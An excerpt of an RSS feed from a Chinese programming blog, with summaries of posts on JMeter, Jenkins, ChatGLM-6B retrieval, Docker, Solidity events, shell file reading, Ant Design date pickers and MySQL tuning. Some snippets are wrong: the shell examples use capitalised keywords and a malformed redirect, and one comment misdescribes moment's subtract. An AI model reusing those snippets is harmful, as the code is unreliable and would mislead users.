【添加】--&amp;gt;【配置元件】--&amp;gt;【HTTP请求默认值】。配置我们需要进行测试的程序协议、地址和端口。&#xA;当所有接口测试访问域名和端口都一样时，可使用该元件，一旦服务器地址变更，只需要修改请求默认值。&#xA;3.3、配置接口HTTP请求&#xA;在“线程组”右键 【添加-】-&amp;gt;【samlper】--&amp;gt;【HTTP 请求】设置我们需要测试的API的请求路径和数据。Taier登录接口用的form-data，需要在请求头进行设置。&#xA;3.4、添加请求头 上一步骤中涉及到的数据请求方式等，都可以在此配置。&#xA;3.5、添加断言 在我们刚刚创建的线程组上右键 【添加】--&amp;gt;【断言】--&amp;gt;【响应断言】。根据响应的数据来判断请求是否正常。我在这里只判断的响应代码是否为200。还可以配置错误信息&#xA;3.6、添加查看结果树 在我们刚刚创建的线程组上右键 【添加】--&amp;gt;【监听器】--&amp;gt;【察看结果树】。直接添加，然后点击运行按钮就可以看到结果了。&#xA;3.7、添加汇总报告 在我们刚刚创建的线程组上右键 【添加】--&amp;gt;【监听器】--&amp;gt;【Summary Report】。直接添加，然后点击运行按钮就可以看到结果了。&#xA;3.8、保存执行计划 3.9、执行测试计划 前面我们说过，执行测试计划不能用GUI，需要用命令行来执行。&#xA;在命令行执行以上命令&#xA;结束之后会在当前目录下生成压测报告、压测结果和压测日志 jmeter.log&#xA;resulet.txt&#xA;3.10、获取压测报告 进入压测报告文件夹，双击打开index.html即可获取压测报告详情。&#xA;总体报告：&#xA;响应报告 </description>
    </item>
    <item>
      <title>手把手教小白安装Jenkins</title>
      <link>https://bchobby.github.io/posts/2da1088c8b7a31c2ae9596655e1ac5c3/</link>
      <pubDate>Tue, 16 May 2023 12:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2da1088c8b7a31c2ae9596655e1ac5c3/</guid>
      <description>一、Jenkins简介 Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。&#xA;简而言之，Jenkins就是一款将构建，打包，发布，测试，部署等一系列繁琐的操作自动化的工具。&#xA;在软件测试过程中，构建自动化脚本是比较常见的一种场景，例如设置自动化脚本每天晚上运行，有失败的用例及时发送邮件预警，是提前发现Bug的一种比较好的手段。&#xA;二、Jenkins环境部署 以Linux环境为例，系统版本是CentOS Linux release 7.4.1708 (Core)：&#xA;一）安装JDK 步骤暂不分享，百度一下即可。&#xA;注意安装JDK的版本，我装的JDK版本是11，Jenkins版本是Jenkins 2.346.1，比较顺畅，如果JDK和Jenkins的版本不匹配，会出现很多未知的问题。&#xA;二）安装Jenkins 1、进入官网War Jenkins Packages下载﻿﻿ 2、启动Jenkins，在jenkins.war所在目录输入命令：nohup java -jar jenkins.war --httpPort=8080 &amp;amp; 3、注意点查看防火墙 如果服务器防火墙没有关闭，需要把端口号加入防火墙：&#xA;firewall-cmd --zone=public --add-port=8888/tcp --permanent&#xA;firewall-cmd --reload&#xA;4、浏览器访问Jenkins 在浏览器中输入http://ip:8080，ip是你的服务器 ip地址&#xA;5、填写密码 将目录下的密码复制填入管理员密码框内&#xA;﻿﻿&#xA;6、选择安装插件 ﻿﻿&#xA;7、等待插件安装 8、设置初始用户和密码 ﻿﻿ 9、进入系统，安装完成 ﻿﻿ 10、进入界面 PS：全网同名，转载注明出处</description>
    </item>
    <item>
      <title>基于 ChatGLM-6B 搭建个人专属知识库</title>
      <link>https://bchobby.github.io/posts/392927f53b73d3b89afc1a9aceed0f36/</link>
      <pubDate>Tue, 16 May 2023 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/392927f53b73d3b89afc1a9aceed0f36/</guid>
      <description>之前树先生教过大家如何利用微调打造一个垂直领域的 LLM 专属模型。但是微调一方面需要专业知识，通常需要很多计算资源和时间，以便在不同的超参数设置上训练多个模型并选择最佳的一个，另一方面动态扩展比较差，新增和修改原有的数据都要重新微调一次。总得来说对非专业人员不友好。&#xA;ChatGLM-6B 部署与 P-Tuning 微调实战&#xA;今天树先生教大家无需微调就能实现垂直领域的专业问答，利用 ChatGLM-6B + langchain 实现个人专属知识库，非常简单易上手。&#xA;技术原理 项目实现原理如下图所示，过程包括加载文件 -&amp;gt; 读取文本 -&amp;gt; 文本分割 -&amp;gt; 文本向量化 -&amp;gt; 问句向量化 -&amp;gt; 在文本向量中匹配出与问句向量最相似的top k个 -&amp;gt; 匹配出的文本作为上下文和问题一起添加到 prompt 中 -&amp;gt; 提交给 LLM 生成回答。&#xA;从上面就能看出，其核心技术就是向量 embedding，将用户知识库内容经过 embedding 存入向量知识库，然后用户每一次提问也会经过 embedding，利用向量相关性算法（例如余弦算法）找到最匹配的几个知识库片段，将这些知识库片段作为上下文，与用户问题一起作为 promt 提交给 LLM 回答，很好理解吧。一个典型的 prompt 模板如下：&#xA;&#34;&#34;&#34; 已知信息： {context} 根据上述已知信息，简洁和专业的来回答用户的问题。如果无法从中得到答案，请说 “根据已知信息无法回答该问题” 或 “没有提供足够的相关信息”，不允许在答案中添加编造成分，答案请使用中文。 问题是：{question} &#34;&#34;&#34; 更多关于向量 embedding 的内容可以参考我之前写的一篇文章。&#xA;ChatGPT 引爆向量数据库赛道&#xA;使用场景 可以调整 prompt，匹配不同的知识库，让 LLM 扮演不同的角色&#xA;上传公司财报，充当财务分析师上传客服聊天记录，充当智能客服上传经典Case，充当律师助手上传医院百科全书，充当在线问诊医生 等等等等。。。。&#xA;实战 这里我们选用 langchain-ChatGLM 项目示例，其他的 LLM 模型对接知识库也是一个道理。</description>
    </item>
    <item>
      <title>ts 节流和防抖</title>
      <link>https://bchobby.github.io/posts/0bb05221b481e82ad1db7922880d4423/</link>
      <pubDate>Tue, 16 May 2023 11:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bb05221b481e82ad1db7922880d4423/</guid>
      <description>/** * @param func * @param delay * @param immediate * @param resultCallback */ type Func = (...args: any[]) =&amp;gt; any //防抖 export function debounce(func: Func, delay: number, immediate?: boolean, resultCallback?: Func) { let timer: null | ReturnType&amp;lt;typeof setTimeout&amp;gt; = null; let isInvoke = false; const _debounce = function(this: unknown, ...args: any[]) { return new Promise((resolve, reject) =&amp;gt; { if (timer) clearTimeout(timer); if (immediate &amp;amp;&amp;amp; !isInvoke) { try { const result = func.</description>
    </item>
    <item>
      <title>docker 安装jdk</title>
      <link>https://bchobby.github.io/posts/43d62d944430039e45ffe579d1441aa5/</link>
      <pubDate>Tue, 16 May 2023 10:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d62d944430039e45ffe579d1441aa5/</guid>
      <description>1.查看jdk 镜像：docker search jdk&#xA;2.拉取镜像：docker pull 你选择的镜像 （如：docker pull eclipse/ubuntu_jdk8）&#xA;3.运行jdk镜像：docker run -it --name jdk1.8 -d eclipse/ubuntu_jdk8&#xA;4.查看是否安装成功 docker ps，并查看版本 java -version</description>
    </item>
    <item>
      <title>Solidity中的事件驱动编程</title>
      <link>https://bchobby.github.io/posts/3eb90242492b0cf6152dc0b09e22e021/</link>
      <pubDate>Tue, 16 May 2023 10:16:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eb90242492b0cf6152dc0b09e22e021/</guid>
      <description>在以太坊智能合约开发中，Solidity语言是最常用的编程语言之一。它为开发人员提供了一个强大而灵活的工具来构建去中心化应用程序（DApps）。事件驱动编程是Solidity中的一个重要概念，它允许合约与外部世界进行通信，并提供了一种机制来跟踪和记录合约中发生的重要事件。本文将深入探讨Solidity中的事件驱动编程，包括事件的定义、声明和使用，以及事件的优势和实际应用。&#xA;一、事件的定义与声明&#xA;在Solidity中，事件是合约中的一种特殊类型，用于向外部应用程序传达信息。事件可以被认为是合约中的通知机制，它允许合约在特定条件满足时触发事件，并将相关数据传递给监听合约或外部应用程序。&#xA;在Solidity中，声明事件的语法如下所示：&#xA;event EventName(type indexed arg1, type arg2, ...); 其中，EventName是事件的名称，type是事件参数的数据类型，indexed关键字用于标记事件参数是否可被索引。事件参数可以包含多个，并且可以指定它们的数据类型。&#xA;例如，假设我们要声明一个名为&#34;Transfer&#34;的事件，它用于通知外部应用程序发生了资金转移操作，我们可以这样声明：&#xA;event Transfer(address indexed from, address indexed to, uint256 amount); 在上面的声明中，我们定义了三个事件参数：from（资金发送者地址）、to（资金接收者地址）和amount（转移的金额）。其中，from和to参数使用indexed关键字进行了标记，以便在事件触发后进行索引和过滤。&#xA;二、事件的使用&#xA;声明了事件之后，我们可以在合约的适当位置使用它们来触发事件，并将相关数据传递给事件监听器。&#xA;在Solidity中，触发事件的语法如下所示：&#xA;emit EventName(arg1, arg2, ...); 例如，我们可以在一个名为&#34;transfer&#34;的函数中使用我们之前定义的&#34;Transfer&#34;事件，当资金转移完成时触发该事件，并传递相关的参数：&#xA;function transfer(address to, uint256 amount) public { // 资金转移操作 ... // 触发事件 emit Transfer(msg.sender, to, amount); } 在上述示例中，我们首先执行了资金转移操作，然后通过emit关键字触发了&#34;Transfer&#34;事件，并将发送者地址（msg.sender）、接收者地址（to）和转移金额（amount）作为参数传递给事件。&#xA;三、事件的优势&#xA;事件驱动编程在Solidity中具有许多优势，使得它成为合约开发人员的首选。&#xA;实时通知和监听：事件允许合约实时通知外部应用程序或其他合约发生的重要事件。通过事件，外部应用程序可以监听并及时响应合约中的状态变化。这种实时通知和监听机制对于构建复杂的DApps至关重要，可以实现实时交互和响应。&#xA;数据传递和查询：事件允许合约在触发事件时传递相关数据。这对于外部应用程序来说非常有价值，因为它们可以获取到合约内部状态的更新情况，并基于这些数据进行后续处理。合约开发人员可以选择在事件中传递需要的数据，以便外部应用程序能够更好地理解和利用合约的状态变化。&#xA;可索引和过滤：通过使用indexed关键字标记事件参数，Solidity允许对事件参数进行索引和过滤。这意味着外部应用程序可以根据特定参数的值进行查询，并过滤出符合条件的事件。例如，在资金转移的例子中，外部应用程序可以根据发送者或接收者地址来查询特定的转账记录，而不必遍历所有的转账事件。&#xA;可追溯性和审计：事件作为合约中发生的重要事务的记录，提供了可追溯性和审计的价值。通过查看事件日志，可以了解合约中的所有重要操作和状态变化。这对于合约开发人员、用户和监管机构来说都非常有用，因为它们可以追踪合约的历史记录，并进行审计和验证。&#xA;与外部应用程序的集成：事件驱动编程使得合约可以与外部应用程序进行无缝集成。外部应用程序可以通过订阅事件并实时监听合约状态的变化，从而与合约进行交互。这种集成性为DApp的开发提供了更大的灵活性和互操作性，使得合约可以与其他系统和服务进行协同工作。&#xA;四、事件驱动编程的实际应用&#xA;事件驱动编程在Solidity中有广泛的应用场景，以下是几个常见的实际应用示例：&#xA;常用的ERC-20代币合约中，通过定义事件来记录代币的转账和交易操作。外部应用程序可以监听这些事件来跟踪代币的转账记录，并进行相应的处理和统计。&#xA;在去中心化交易所（DEX）中，事件可以用于记录交易的执行和订单状态的更新。外部应用程序可以监听这些事件来获取交易执行的详细信息，并进行相关的后续操作。&#xA;在众筹合约中，事件可以用于记录众筹项目的捐款情况和众筹进展。外部应用程序可以监听这些事件来获取众筹项目的实时状态，并提供相关的统计和展示。&#xA;在多签名钱包合约中，事件可以用于记录钱包的操作和交易签名情况。外部应用程序可以监听这些事件来获取钱包的操作历史，并进行审计和验证。&#xA;在游戏合约中，事件可以用于记录游戏的关键动作和结果。外部应用程序可以监听这些事件来实时跟踪游戏进展，并提供相应的游戏数据和分析。&#xA;总结&#xA;Solidity中的事件驱动编程为智能合约开发人员提供了一种强大而灵活的工具来实现合约与外部世界的通信和交互。通过定义和触发事件，合约可以向外部应用程序传递信息并实现实时通知、数据传递、可索引和过滤、可追溯性等功能。事件驱动编程在众多的实际应用中发挥着重要的作用，为构建功能强大且与其他系统无缝集成的去中心化应用提供了支持。通过充分理解和应用Solidity中的事件驱动编程，合约开发人员可以提高合约的灵活性、可靠性和互操作性，从而推动区块链技术的发展和应用的创新。</description>
    </item>
    <item>
      <title>css隐藏右侧滚动条 但是还能继续滚动</title>
      <link>https://bchobby.github.io/posts/2c5284137a514100244c50c5ce7312e3/</link>
      <pubDate>Tue, 16 May 2023 10:11:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c5284137a514100244c50c5ce7312e3/</guid>
      <description>css隐藏右侧滚动条 但是还能继续滚动：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .outer-container { width: 360px; height: 200px; position: relative; overflow: hidden; background-color: aqua; } .inner-container { position: absolute; left: 0; top: 0; right: -17px; bottom: 0; overflow-x: hidden; overflow-y: scroll; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;outer-container&#34;&amp;gt; &amp;lt;div class=&#34;inner-container&#34;&amp;gt; 编写 JSX 语法的标签 你在前面看到的标记语言（markup syntax）称为 JSX。JSX 不是必须要用的，但是因为使用方便，所以大多数 React 项目都使用 JSX。所有 我们推荐的用于本地开发的工具 都自带对 JSX 的支持。 JSX 的语法比 HTML 更严格。类似 &amp;lt;br /&amp;gt; 这样的标签是必须要关闭的。并且，组件也不能返回多个并列最高层级的 JSX 标签，你必须为所有最高层级的标签添加一个共同的父标签，例如使用 &amp;lt;div&amp;gt;.</description>
    </item>
    <item>
      <title>接收Promise的返回值的方法</title>
      <link>https://bchobby.github.io/posts/adb727a0efda1e07c3aa51e8865b96fb/</link>
      <pubDate>Tue, 16 May 2023 00:49:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adb727a0efda1e07c3aa51e8865b96fb/</guid>
      <description> 第一种：使用.then(res=&amp;gt;{ },err=&amp;gt;{ });&#xA;Promise对象.then(res=&amp;gt;{ },err=&amp;gt;{ }); 第二种：使用.then(res=&amp;gt;{ }).catch(err=&amp;gt;{ });&#xA;Promise对象.then(res=&amp;gt;{ }).catch(err=&amp;gt;{ }); 第三种：使用async、await&#xA;async 函数名(){ await Promise对象; }; 第四种：使用try{ } catch(error) { } + async、await&#xA;async 函数名(){ try{ await Promise对象; } catch(error){ } }; </description>
    </item>
    <item>
      <title>Spring Security详解</title>
      <link>https://bchobby.github.io/posts/83cbb40631a61d9224dd3b9b11cf6867/</link>
      <pubDate>Mon, 15 May 2023 20:23:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83cbb40631a61d9224dd3b9b11cf6867/</guid>
      <description>第一节 Spring Security 简介 Spring 是一个非常流行和成功的 Java 应用开发框架。Spring Security 基于 Spring 框架，提供了一套 Web 应用安全性的完整解决方案。一般来说，Web 应用的安全性包括用户认证（Authentication）和用户授权（Authorization）两个部分。&#xA;用户认证指的是验证某个用户是否为系统中的合法主体，也就是说用户能否访问该系统。用户认证一般要求用户提供用户名和密码。系统通过校验用户名和密码来完成认证过程。&#xA;用户授权指的是验证某个用户是否有权限执行某个操作。在一个系统中，不同用户所具有的权限是不同的。比如对一个文件来说，有的用户只能进行读取，而有的用户可以进行修改。一般来说，系统会为不同的用户分配不同的角色，而每个角色则对应一系列的权限。&#xA;对于上面提到的两种应用情景，Spring Security 框架都有很好的支持。在用户认证方面，Spring Security 框架支持主流的认证方式，包括 HTTP 基本认证、HTTP 表单验证、HTTP 摘要认证、OpenID 和 LDAP 等。在用户授权方面，Spring Security 提供了基于角色的访问控制和访问控制列表（Access Control List，ACL），可以对应用中的领域对象进行细粒度的控制。&#xA;第二节 Spring Security 核心组件 1. Authentication 认证 &amp;lt;span style=&#34;background-color:#f8f8f8&#34;&amp;gt;&amp;lt;span style=&#34;color:#333333&#34;&amp;gt;&amp;lt;span style=&#34;color:#aa5500&#34;&amp;gt;//这个接口的实现类都是Token，称为票据，UsernamePasswordAuthenticationToken&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#aa5500&#34;&amp;gt;//我们自定义实现就可以叫MobileCodeAuthenticationToken&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#770088&#34;&amp;gt;public&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#770088&#34;&amp;gt;interface&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#0000ff&#34;&amp;gt;Authentication&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#770088&#34;&amp;gt;extends&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#000000&#34;&amp;gt;Principal&amp;lt;/span&amp;gt;, &amp;lt;span style=&#34;color:#000000&#34;&amp;gt;Serializable&amp;lt;/span&amp;gt; { ​ &amp;lt;span style=&#34;color:#aa5500&#34;&amp;gt;/**&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#aa5500&#34;&amp;gt;* 权限列表&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#aa5500&#34;&amp;gt;*/&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;color:#000000&#34;&amp;gt;Collection&amp;lt;/span&amp;gt;&amp;lt;span style=&#34;</description>
    </item>
    <item>
      <title>如何读懂JMeter聚合报告参数？</title>
      <link>https://bchobby.github.io/posts/031e84b9d291ff875b9972e5dc2c7e9c/</link>
      <pubDate>Mon, 15 May 2023 20:16:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/031e84b9d291ff875b9972e5dc2c7e9c/</guid>
      <description>线程组参数解释 线程数（即并发数）：&#xA;一个用户占一个线程，200个线程就是模拟200个用户；&#xA;Ramp-Up 时间(秒)：&#xA;设置线程需要多长时间全部启动；如果线程数为200，准备时长为10，那么需要1秒钟启动20个线程；也就是每秒钟启动20个线程；&#xA;循环次数：&#xA;一次场景下来，请求的数量=线程数 * 循环次数；如果线程数为200，循环次数为10 ，那么每个线程发送10次请求；总请求数为200*10=2000 ；如果勾选了“永远”，那么所有线程会一直发送请求，直到选择停止运行脚本；&#xA;JMeter聚合报告参数解释 Label：每个JMeter的element的Name值，例如HTTP Request的Name；&#xA;样本：发出请求数量；模拟20个用户，循环100次，所以显示了2000；&#xA;平均值：平均响应时间（单位：ms）；默认是单个Request的平均响应时间，当使用了Transaction Controller时，也可以以Transaction为单位显示平均响应时间；&#xA;中位数：50%的用户响应时间小于这个值；&#xA;95%百分位：95%的用户响应时间小于这个值；&#xA;99%百分位：99%的用户响应时间小于这个值；&#xA;最小值：用户响应时间最小值；&#xA;最大值：用户响应时间最大值；&#xA;异常%：测试出现的错误请求数量百分比；请求的错误率 = 错误请求的数量/请求的总数；若出现错误就要看服务端的日志查找定位原因；&#xA;吞吐量：Throughput简称TPS，吞吐量，默认情况下表示每秒处理的请求数，也就是指服务器处理能力，TPS越高说明服务器处理能力越好；&#xA;KB/sec：每秒从服务器端接收到的数据量；&#xA;压测结果分析 异常%：确认是否允许错误的发生或者错误率允许在多大的范围内；&#xA;吞吐量：吞吐量每秒请求的数大于并发数，则可以慢慢的往上面增加；若在压测的机器性能很好的情况下，出现吞吐量小于并发数，说明并发数不能再增加了，可以慢慢的往下减，找到最佳的并发数；&#xA;最大的TPS：不断的增加并发数，加到TPS达到一定值开始出现下降，那么那个值就是最大的TPS；&#xA;最大的并发数：&#xA;最大的并发数和最大的TPS是不同的概率，一般不断增加并发数，达到一个值后，服务器出现请求超时，则可认为该值为最大的并发数；&#xA;压测的时候要时刻关注应用服务器数据库服务器等CPU、内存、网络等使用情况；&#xA;压测过程出现性能瓶颈，若压测客户端任务管理器查看到的CPU、网络和CPU都正常，未达到90%以上，则可以说明服务器有问题，压测客户端没有问题；&#xA;影响性能考虑点包括：数据库、应用程序、中间件（php-fpm、nginx、redis…）、网络和操作系统等方面；&#xA;循环控制器 目的：循环该控制器下面子节点的次数。&#xA;线程组里循环次数设置了n次，循环控制器下的循环次数也设置了m次，则该控制器下的请求运行的次数是（n*m）次。&#xA;如果（If）控制器&#xA;目的：判断条件，可以引用变量。当为 true 时，执行子节点&#xA;Interpret Condition as Variable Expression? 如果选择了此项，则条件必须是一个表达式，需要使用 ${__jexl3 } 或 ${__groovy } 表达式）&#xA;Evaluate for all children 勾选：对所有采样器执行前都判断一次&#xA;不勾选：仅入口判断一次&#xA;如果是字符串的比较，需要加””&#xA;&#34;${url}&#34;==&#34;baidu&#34; 注意事项：&#xA;在if逻辑控制器的Expression中不能直接填写条件表达式，需要借助函数将条件表达式计算为true/false，可以借助的函数有__jexl3和__groovy函数&#xA;END绵薄之力 最后感谢每一个认真阅读我文章的人，看着粉丝一路的上涨和关注，礼尚往来总是要有的，虽然不是什么很值钱的东西，如果你用得到的话可以直接拿走：&#xA;这些资料，对于【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴上万个测试工程师们走过最艰难的路程，希望也能帮助到你！</description>
    </item>
    <item>
      <title>Shell逐行读取文件的4种方法分享。</title>
      <link>https://bchobby.github.io/posts/889eccb9787db243224c6f40ca396f92/</link>
      <pubDate>Mon, 15 May 2023 19:11:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/889eccb9787db243224c6f40ca396f92/</guid>
      <description>这篇文章主要介绍了Shell逐行读取文件的4种方法,本文介绍了while循环法、重定向法、管道法、文件描述符法等一些方法,需要的朋友可以参考下&#xA;在Linux中有很多方法逐行读取一个文件的方法，其中最常用的就是下面的脚本里的方法，而且是效率最高，使用最多的方法。为了给大家一个直观的感受，我们将通过生成一个大的文件的方式来检验各种方法的执行效率。&#xA;方法1：while循环中执行效率最高，最常用的方法。&#xA;代码如下:&#xA;function while_read_LINE_bottm(){&#xA;While read LINE&#xA;do&#xA;echo $LINE&#xA;done &amp;lt; $FILENAME&#xA;}&#xA;注释：我习惯把这种方式叫做read釜底抽薪，因为这种方式在结束的时候需要执行文件，就好像是执行完的时候再把文件读进去一样。&#xA;方法2 ： 重定向法；管道法: cat $FILENAME | while read LINE&#xA;代码如下:&#xA;Function While_read_LINE(){&#xA;cat $FILENAME | while read LINE&#xA;do&#xA;echo $LINE&#xA;done&#xA;}&#xA;注释：我只所有把这种方式叫做管道法，相比大家应该可以看出来了吧。当遇见管道的时候管道左边的命令的输出会作为管道右边命令的输入然后被输入出来。&#xA;方法3： 文件描述符法&#xA;代码如下:&#xA;Function while_read_line_fd(){&#xA;Exec 3&amp;lt;&amp;amp;0&#xA;Exec 0&amp;lt;$FILENAME&#xA;While read LINE&#xA;Do&#xA;Echo $LINE&#xA;Exec 0&amp;lt;&amp;amp;&amp;lt;3&#xA;}&#xA;注释： 这种方法分2步骤，第一，通过将所有内容重定向到文件描述符3来关闭文件描述符0.为此我们用了语法Exec 3&amp;lt;&amp;amp;0 。第二部将输入文件放送到文件描述符0，即标准输入。&#xA;方法4 for 循环。&#xA;代码如下:&#xA;function for_in_file(){</description>
    </item>
    <item>
      <title>使用FastGithub解决国内访问GitHub失败的问题</title>
      <link>https://bchobby.github.io/posts/4c76555d680fc73a9705a6d50a95ba95/</link>
      <pubDate>Mon, 15 May 2023 18:11:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c76555d680fc73a9705a6d50a95ba95/</guid>
      <description>问题提出 在ArduinoIDE安装开发板开发包、库时经常由于这些包和库的索引指向的是github下面的开源项目，所以安装失败的可能性极高。开启了FastGithub后，更新成功率和速度都快了很多！&#xA;问题解决 使用FastGithub开源工具（支持Win,Mac,Linux）；FastGithub是一款基于DNS和HTTP代理的GitHub加速工具，可以加速GitHub的访问速度。&#xA;从这个地址下载https://github.com/dotnetcore/FastGithub Windows下运行 解压后，运行FastGithub.UI.exe即可，如下图，一般不需要设置，用默认即可。&#xA;Linux下运行 # yum install lrzsz&#xA;# yum install libicu //一定要安装这个，否即FastGitHub运行提示缺少libicu，启动失败。&#xA;# cd ~&#xA;# rz&#xA;# unzip fastgithub_linux-x64.zip&#xA;# cd fastgithub_linux-x64&#xA;# ./fastgithub start //多种启动方式，我是以Service启动&#xA;# systemctl status fastgithub&#xA;● fastgithub.service - fastgithub&#xA;Loaded: loaded (/etc/systemd/system/fastgithub.service; enabled; vendor preset: disabled)&#xA;Active: active (running) since Mon 2023-05-15 17:50:25 CST; 17min ago&#xA;Main PID: 70755 (fastgithub)&#xA;Tasks: 25 (limit: 23157)&#xA;Memory: 71.5M&#xA;CPU: 4.141s</description>
    </item>
    <item>
      <title>ant design 日期组件，设置可选范围的一些方法</title>
      <link>https://bchobby.github.io/posts/bab2a75feffb2a35d6739d3a858180e7/</link>
      <pubDate>Mon, 15 May 2023 18:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bab2a75feffb2a35d6739d3a858180e7/</guid>
      <description>&amp;lt;RangePicker disabledDate={this.forbidPartDate} /&amp;gt; 1， 将选择的范围小于或者等于今天&#xA;//endOf()是将其设置为时间单位的末尾，可以参考moment的API forbidPartDate(current) { return current &amp;gt; moment().endOf(&#39;day&#39;) }, 2，将选择的范围小于今天&#xA;//subtract(1, &#39;days&#39;)是增加一日，还有参数&#39;years&#39;、&#39;months&#39;和&#39;weeks&#39;,也可以用负数去减相应的单位 forbidPartDate(current) { return current &amp;gt; moment().subtract(1, &#39;days&#39;).endOf(&#39;day&#39;) }, 3，选择范围大于或者等于今天&#xA;//注意：这里如果不加上subtract()，在选择一次日期之后今天就不能选了 forbidPartDate(current) { return current &amp;amp;&amp;amp; current &amp;lt;= moment().subtract(1, &#39;days&#39;).endOf(&#39;day&#39;) }, 4，选择范围只可以是昨天，今天或者后天&#xA;//注意：这里如果不加上subtract()，在选择一次日期之后今天就不能选了 forbidPartDate(current) { return !(current &amp;gt; moment().subtract(2, &#39;days&#39;).endOf(&#39;day&#39;) &amp;amp;&amp;amp; current &amp;lt; moment().subtract(-1, &#39;days&#39;).endOf(&#39;day&#39;)) }, 5. 将可选的时间控制到一年期限之内&#xA;const centerForbidLessStartDate = (current: any) =&amp;gt; { return ( current &amp;lt;= moment(searchDateStart).subtract(1, &#39;month&#39;).endOf(&#39;month&#39;) || current &amp;lt; moment(searchDateEnd).</description>
    </item>
    <item>
      <title>解决docker pull xxxx,报error pulling image configuration: Get https://production.cloudflare.docker.com/</title>
      <link>https://bchobby.github.io/posts/2b3d05b7d70d8e677e149af06f1bcf6c/</link>
      <pubDate>Mon, 15 May 2023 16:41:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b3d05b7d70d8e677e149af06f1bcf6c/</guid>
      <description>Centos 下 给docker 安装 jdk ，拉去jdk提示：error pulling image configuration: Get https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sha256/13/13041d54229cc20958f6524b6256964a99b6bea415204e7ed29f96bdc60b0f56/data?verify=1684120931-vwrbuWx70iYgTGg%2FSYJ9CfK%2F1eU%3D: EOF 问题&#xA;解决方法：&#xA;1编辑 /etc/resolv.conf 往里面加入：nameserver 8.8.8.8，保存&#xA;关闭docker：systemctl stop docker&#xA;启动docker：systemctl start docker&#xA;在拉取就可以了</description>
    </item>
    <item>
      <title>Mysql 优化的几种方法</title>
      <link>https://bchobby.github.io/posts/367a8e85ebf2e8910da2845298fa56ed/</link>
      <pubDate>Mon, 15 May 2023 16:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/367a8e85ebf2e8910da2845298fa56ed/</guid>
      <description>MySQL是当前最流行的一个关系型数据库管理系统，广泛应用于各种互联网应用场景中。然而在实际的开发和运维过程中，我们经常会遇到一些性能问题，如查询慢、请求堆积等，需要通过MySQL优化来解决。本文将详细讲解MySQL优化的原理、方法和工具，帮助读者全面了解和掌握MySQL的性能优化技术。&#xA;一、MySQL优化概述 MySQL优化是指通过调整MySQL的各项参数和配置，以及优化SQL语句的编写和执行，提高MySQL系统的性能和可用性。MySQL优化的主要目标是尽可能快地响应用户请求，提高系统的处理能力和并发性能，减少资源消耗和硬件成本。MySQL优化涉及多个方面，包括：&#xA;1.硬件配置：包括CPU、内存、磁盘等硬件资源的选择和配置，以满足系统的负载和性能需求。&#xA;2.软件配置：包括MySQL的参数设置和调整，如缓存大小、连接数、并发处理数等，以适应不同的负载和访问模式。&#xA;3.SQL语句优化：包括查询语句的重构、优化和索引设计，以提高查询效率和响应速度。&#xA;4.数据结构优化：包括表结构设计和数据类型选择，以减小数据存储和访问的成本。&#xA;5.架构优化：包括MySQL主备、分片等高可用、高可扩展架构的选择和部署，以实现系统的稳定性和可扩展性需求。&#xA;二、MySQL性能瓶颈 在进行MySQL优化前，需要先了解MySQL的性能瓶颈，从而有针对性地进行优化。MySQL的性能瓶颈主要包括以下几个方面：&#xA;1.磁盘IO：由于磁盘是MySQL的主要数据存储介质，因此磁盘IO是MySQL性能的瓶颈之一。磁盘IO的速度受到磁盘类型、容量、转速、缓存等多种因素的影响。&#xA;2.内存使用：MySQL需要使用大量的内存资源来提高查询效率和性能，主要包括缓存、临时表、排序等。如果内存不足，则可能导致频繁的IO操作和性能下降。&#xA;3.CPU使用：MySQL的查询处理和数据计算都需要大量的CPU资源，如果CPU负载过高，会导致系统响应缓慢和请求堆积现象。&#xA;4.网络延迟：由于MySQL通常运行在分布式环境中，网络延迟也是一个重要的性能因素，会影响MySQL的响应速度和并发处理能力。&#xA;5.SQL语句质量：SQL语句的效率直接影响MySQL的性能和查询速度，不合理的SQL语句可能导致索引失效、查询锁表等问题，进而降低MySQL的性能。&#xA;三、MySQL优化方法 